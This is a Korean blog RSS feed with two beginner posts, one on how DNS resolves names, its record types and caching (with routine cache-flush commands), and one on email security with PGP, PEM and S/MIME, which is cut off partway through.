<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>defcon 님의 블로그</title>
    <link>https://defcon.tistory.com/</link>
    <description>defcon 님의 블로그 입니다.</description>
    <language>ko</language>
    <pubDate>Wed, 29 Jul 2026 07:01:04 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>defcon</managingEditor>
    <item>
      <title>DNS(Domain Name Service)의 개념과 쿼리 과정</title>
      <link>https://defcon.tistory.com/57</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;DNS(Domain Name Service)란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DNS(Domain Name Service)는 도메인 이름을 IP주소로 변환해주는 시스템입니다. 인터넷 상에서 컴퓨터들은 서로를 IP 주소(ex. 192.0.2.1)로 식별하지만, 사람이 기억하고 사용하기는 어렵습니다. 그래서 사람이 이해하기 쉬운 도메인 이름(www.google.com)을 IP주소로 바꿔주는 역할을 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;작동 방식&lt;/b&gt;&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;사용자가 브라우저에 www.example.com을 입력&lt;/li&gt;
&lt;li&gt;컴퓨터는 DNS서버에 이 도메인의 IP 주소가 뭐야 라고 질의&lt;/li&gt;
&lt;li&gt;DNS 서버는 해당 도메인의 IP wnthfmf ckwdktj dmdekq&lt;/li&gt;
&lt;li&gt;그 IP 주소로 웹사이트에 접속&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;DNS 계층 구조&lt;/b&gt;&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Root DNS : 가장 상위&lt;/li&gt;
&lt;li&gt;Top-Level Domain(TLD) : .com, .net, .kr같은 도메인&lt;/li&gt;
&lt;li&gt;Second-Level Domain : example.com에서 example &amp;nbsp;qnqns&lt;/li&gt;
&lt;li&gt;Subdomain : www.example.com에서 www &amp;nbsp;부분&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;DNS 쿼리 과정&lt;/b&gt;&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. DNS 클라이언트가 로컬 DNS Resolver에게 질의( Recursive Query)&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가 브라우저에 &amp;nbsp;www.example.com 입력&lt;/li&gt;
&lt;li&gt;OS 또는 애플리케이션은 로컬 DNS 리졸버(일반적으로 ISP나 &amp;nbsp;회사 내부 DNS 서버)에 &quot;이 도메인의 IP주소를 알려줘&quot; 라고 요청&lt;/li&gt;
&lt;li&gt;요청자가 결과를 바로 원하며, 중간 단계는 관심없음&lt;/li&gt;
&lt;li&gt;리졸버가 모든 작업을 대신 수행함&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. 로컬 리졸버가 루트 DNS 서버에 질의(반복적 질의)&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;리졸버는 먼저 루트 DNS 서버에 www.example.com의 정보를 요청&lt;/li&gt;
&lt;li&gt;루트 서버는 직접 IP주소를 주지 않고 TLD 서버(.com)의 주소를 알려줌&lt;/li&gt;
&lt;li&gt;루트 서버는 직접 해답을 주지 않고, &quot;이걸 처리할 수 있는 서버는 저기야&quot; 하고 경로만 알려줌&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. 리졸버가 권한 DNS 서버에 질의 (반복적 질의)&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;마지막으로&amp;nbsp;권한&amp;nbsp;DNS&amp;nbsp;서버에&amp;nbsp;&lt;a href=&quot;http://www.example.com의&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;http://www.example.com의&lt;/a&gt; IP&amp;nbsp;주소를&amp;nbsp;요청&lt;/li&gt;
&lt;li&gt;이 서버는 실제로 A 레코드(IPv4 주소) 또는 AAAA 레코드(IPv6 주소)를 보유하고 있으며, 요청한 IP 주소를 반환&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;4. 리졸버가 결과를 클라이언트에 반환&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;로컬 리졸버는 권한 서버에서 받은 IP 주소를 클라이언트에게 전달&lt;/li&gt;
&lt;li&gt;클라이언트는&amp;nbsp;그&amp;nbsp;IP&amp;nbsp;주소를&amp;nbsp;이용해&amp;nbsp;웹&amp;nbsp;서버에&amp;nbsp;접속&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;대표적인 DNS 레코드 종류&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DNS &amp;nbsp;레코드는 도메인 이름과 관련된 정보를 저장하는데이터 항목입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도메인이 어떤 IP 주소를 가지고 있는지 메일서버는 어디인지 별칭은 무엇인지 등 다양한 정보를 표현합니다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.325581%;&quot;&gt;레코드 타입&lt;/td&gt;
&lt;td style=&quot;width: 72.674419%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.325581%;&quot;&gt;A&lt;/td&gt;
&lt;td style=&quot;width: 72.674419%;&quot;&gt;도메인 -&amp;gt; IPv4 주소(93.184.216.34) 매핑&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.325581%;&quot;&gt;AAAA&lt;/td&gt;
&lt;td style=&quot;width: 72.674419%;&quot;&gt;도메인 -&amp;gt; IPv6 주소 (예:&amp;nbsp;2606:2800:220:1:248:1893:25c8:1946)&amp;nbsp;매핑&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.325581%;&quot;&gt;CNAME&lt;/td&gt;
&lt;td style=&quot;width: 72.674419%;&quot;&gt;도메인의 별칭(Alias)을 정의(예: www.example.com &amp;nbsp;-&amp;gt; example.com)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.325581%;&quot;&gt;MX&lt;/td&gt;
&lt;td style=&quot;width: 72.674419%;&quot;&gt;도메인에 대한 메일 서버 지정(Mail Exchange)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.325581%;&quot;&gt;NS&lt;/td&gt;
&lt;td style=&quot;width: 72.674419%;&quot;&gt;도메인을 관리하는 권한 있는 네임서버 지정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.325581%;&quot;&gt;TXT&lt;/td&gt;
&lt;td style=&quot;width: 72.674419%;&quot;&gt;도메인에 대한 텍스트 정보 저장(SPF, DKIM, 도메인 인증 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.325581%;&quot;&gt;SOA&lt;/td&gt;
&lt;td style=&quot;width: 72.674419%;&quot;&gt;도메인 영역에 대한 권한 정보 및 관리정보(Start of Authority)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.325581%;&quot;&gt;PTR&lt;/td&gt;
&lt;td style=&quot;width: 72.674419%;&quot;&gt;IP 주소 -&amp;gt; 도메인이름(역방향 조회, Reverse DNS)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.325581%;&quot;&gt;SRV&lt;/td&gt;
&lt;td style=&quot;width: 72.674419%;&quot;&gt;서비스 위치(Service Location) 정보(SIP, XMPP 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.325581%;&quot;&gt;CAA&lt;/td&gt;
&lt;td style=&quot;width: 72.674419%;&quot;&gt;SSL 인증서를 발급할 수 있는 CA(Certificate Authority) 지정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;DNS 캐시&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가 www.example.com에 접속하면, IP 주소를 찾기 위해 DNS 질의 발생&lt;/li&gt;
&lt;li&gt;이 결과를 일정시간 동안 캐시에 저장&lt;/li&gt;
&lt;li&gt;동일한 도메인에 다시 접속할 경우, 캐시에 저장된 결과를 재사용하여 DNS 서버에 재질의하지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;캐시 저장 위치&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.883721%;&quot;&gt;계층&lt;/td&gt;
&lt;td style=&quot;width: 80.116279%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.883721%;&quot;&gt;브라우저 캐시&lt;/td&gt;
&lt;td style=&quot;width: 80.116279%;&quot;&gt;일부 웹 브라우저는 자체적으로 DNS 결과를 캐시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.883721%;&quot;&gt;운영체제(OS) 캐시&lt;/td&gt;
&lt;td style=&quot;width: 80.116279%;&quot;&gt;로컬 DNS 리졸버가 운영체제[ 수준에서 캐싱 수행(nscd, systemd-resolved, dnsmasq 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.883721%;&quot;&gt;로컬 DNS 서버(리졸버)&lt;/td&gt;
&lt;td style=&quot;width: 80.116279%;&quot;&gt;ISP나 기업 네트워크의 DNS 리졸버가 대규모 캐시 유지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.883721%;&quot;&gt;중간 DNS 서버&lt;/td&gt;
&lt;td style=&quot;width: 80.116279%;&quot;&gt;공용 DNS(google, Cloudflare)도 캐시를 유지하여 응답속도를 높임&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;TTL(Time To Live)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;TTL은 DNS 응답에 포함된 메타데이터로, 해당 레코드가 캐시에 얼마나 유지될지를 정의합니다.&lt;/li&gt;
&lt;li&gt;예를 들어, A 레코드의 TTL이 3600 이라면 1시간(3600초)동안 캐시에 저장됩니다.&lt;/li&gt;
&lt;li&gt;TTL이 지나면 캐시는 무효화되고 다시 DNS &amp;nbsp;서버에 질의합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DNS 캐시의 장점&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 72px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 24.302326%; height: 18px;&quot;&gt;장점&lt;/td&gt;
&lt;td style=&quot;width: 75.697674%; height: 18px;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 24.302326%; height: 18px;&quot;&gt;속도향상&lt;/td&gt;
&lt;td style=&quot;width: 75.697674%; height: 18px;&quot;&gt;반복 접속 시 훨씬 빠르게 응답&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 24.302326%; height: 18px;&quot;&gt;네트워크 트래픽 감소&lt;/td&gt;
&lt;td style=&quot;width: 75.697674%; height: 18px;&quot;&gt;DNS 서버와의 통신 횟수 줄어듦&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 24.302326%; height: 18px;&quot;&gt;가용성 향상&lt;/td&gt;
&lt;td style=&quot;width: 75.697674%; height: 18px;&quot;&gt;외부 DNS 서버 문제가 있어도 캐시가 남아있다면 정상 동작 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;캐시의 단점 및 주의사항&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 26.395349%;&quot;&gt;단점&lt;/td&gt;
&lt;td style=&quot;width: 73.604651%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 26.395349%;&quot;&gt;정보 갱신 지원&lt;/td&gt;
&lt;td style=&quot;width: 73.604651%;&quot;&gt;도메인의 IP 주소가 바뀌어도 TTL 동안은 캐시된 값 사용 가능성 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 26.395349%;&quot;&gt;DNS 스푸핑/포이즈닝 위험&lt;/td&gt;
&lt;td style=&quot;width: 73.604651%;&quot;&gt;캐시에 악의적인 정보가 들어가면 사용자가 잘못된 주소로 연결될 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 26.395349%;&quot;&gt;문제해결 어려움&lt;/td&gt;
&lt;td style=&quot;width: 73.604651%;&quot;&gt;변경사항 적용이 즉시 반영되지 않아 디버깅 어려움 초래&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운영체제별 캐시확인 및 삭제 방법(로컬 캐시)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Windows&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1749393094329&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ipconfig /displaydns      # 캐시 보기
ipconfig /flushdns        # 캐시 삭제&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;macOS&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1749393105033&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo dscacheutil -flushcache
sudo killall -HUP mDNSResponder&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Linux&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1749393113904&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo systemd-resolve --flush-caches&lt;/code&gt;&lt;/pre&gt;</description>
      <category>정보보호</category>
      <category>dns</category>
      <category>dns캐시</category>
      <category>dns쿼리</category>
      <category>도메인네임서비스</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/57</guid>
      <comments>https://defcon.tistory.com/57#entry57comment</comments>
      <pubDate>Mon, 9 Jun 2025 10:32:15 +0900</pubDate>
    </item>
    <item>
      <title>이메일 보안 기법(PGP, PEM, S/MIME)</title>
      <link>https://defcon.tistory.com/56</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. PGP&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PGP는 대칭키 암호화와 비대칭키 암호화를 함께 사용하는 하이브리드 암호 시스템입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1991년 필 짐머만(Phil Zimmermann)이 처음 갭잘한 이후 전세계적으로 널리 사용되고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;image.png&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;1042&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oDGTx/btsOsR02dan/CkaRzkuFEeW1f7AcgKpBSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oDGTx/btsOsR02dan/CkaRzkuFEeW1f7AcgKpBSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oDGTx/btsOsR02dan/CkaRzkuFEeW1f7AcgKpBSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoDGTx%2FbtsOsR02dan%2FCkaRzkuFEeW1f7AcgKpBSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1000&quot; height=&quot;1042&quot; data-filename=&quot;image.png&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;1042&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) 비대칭키암호화(공개키/개인키)&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;수신자는 공개키(Public Key)를 이메일 발신자에게 제공합니다.&lt;/li&gt;
&lt;li&gt;발신자는 이 공개키로 이메일을 암호화합니다.&lt;/li&gt;
&lt;li&gt;수신자는 자신만 가진 개인키(Private Key)로 이메일을 복호화합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) 대칭키 암호화&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실제 메시지는 빠른 속도의 대칭키 방식으로 암호화됩니다.&lt;/li&gt;
&lt;li&gt;이 대칭키 자체를 비대칭키로 다시 암호화하여 함께 전송합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) 디지털 서명&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;발신자는 메시지의 해시값을 자신의 개인키로 암호화하여 서명을 만듭니다.&lt;/li&gt;
&lt;li&gt;수신자는 발신자의 공개키로 서명을 검증함으로써, 무결성과 인증을 확보합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;PGP 활용&lt;/b&gt;&lt;/h4&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;기능&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;암호화&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;이메일 내용과 첨부파일을 암호화하여, 제3자가 볼 수 없도록함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;서명&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;디지털 서명을 통해 이메일이 위조되지 않았음을 검증&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;인증&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;공개키 기반 구조를 통해 발신자의 신원을 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;무결성 검증&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;메시지가 전송 중 변조되지 않았음을 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;키 관리 방식&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PGP는 중앙 인증 기관(CA)를 사용하지 않고 사용자가 서로의 키를 직접 인증하는 웹 오브 트러스트(Web Of Trust) 방식을 사용합니다. 사용자는 자신이 신뢰하는 사람의 키를 서명해줌벼, 이를 통해 간접적인 신뢰구조를 형성합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;암호 알고리즘 구성&lt;/b&gt;&lt;/h4&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;구분&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;용도&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;주요 알고리즘&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;대칭키 암호화&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;메시지 암호화&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;AES, CAST5, IDEA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;비대칭키 암호화&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;세션키 암호화, 디지털 서명&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;RSA, DSA, ElGamal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;해시 함수&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;서명용 해시 생성&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;SHA-2, SHA-1, RIPEMD-160&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. PEM&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PEM은 원래 이메일을 암호화하고 서명하는 표준으로 제안되었지만 오늘날 주로 인증서, 키, 암호화 데이터를 저장하고 전송하는 형식으로 사용되고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;텍스트 기반의 Base64 인코딩 형식을 사용합니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Base64 : 바이너리 데이터 -&amp;gt; ASCII 문자로 변환하는 인코딩 기법&lt;/blockquote&gt;
&lt;pre id=&quot;code_1749353509643&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-----BEGIN &amp;lt;LABEL&amp;gt;-----
(base64 encoded data)
-----END &amp;lt;LABEL&amp;gt;-----&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. S/MIME&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;image.png&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;373&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dEAo4y/btsOrWI7lOY/dbh5L7oRcFcLR0kGcsBXL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dEAo4y/btsOrWI7lOY/dbh5L7oRcFcLR0kGcsBXL0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dEAo4y/btsOrWI7lOY/dbh5L7oRcFcLR0kGcsBXL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdEAo4y%2FbtsOrWI7lOY%2Fdbh5L7oRcFcLR0kGcsBXL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;638&quot; height=&quot;373&quot; data-filename=&quot;image.png&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;373&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;S/MIME(Secure/Multipurpose Internet Mail Extendsions)는 이메일 메시지의 기밀성, 무결성 인증, 부인방지를 보장하는 암호화 및 디지털 서명 표준입니다.&lt;/p&gt;
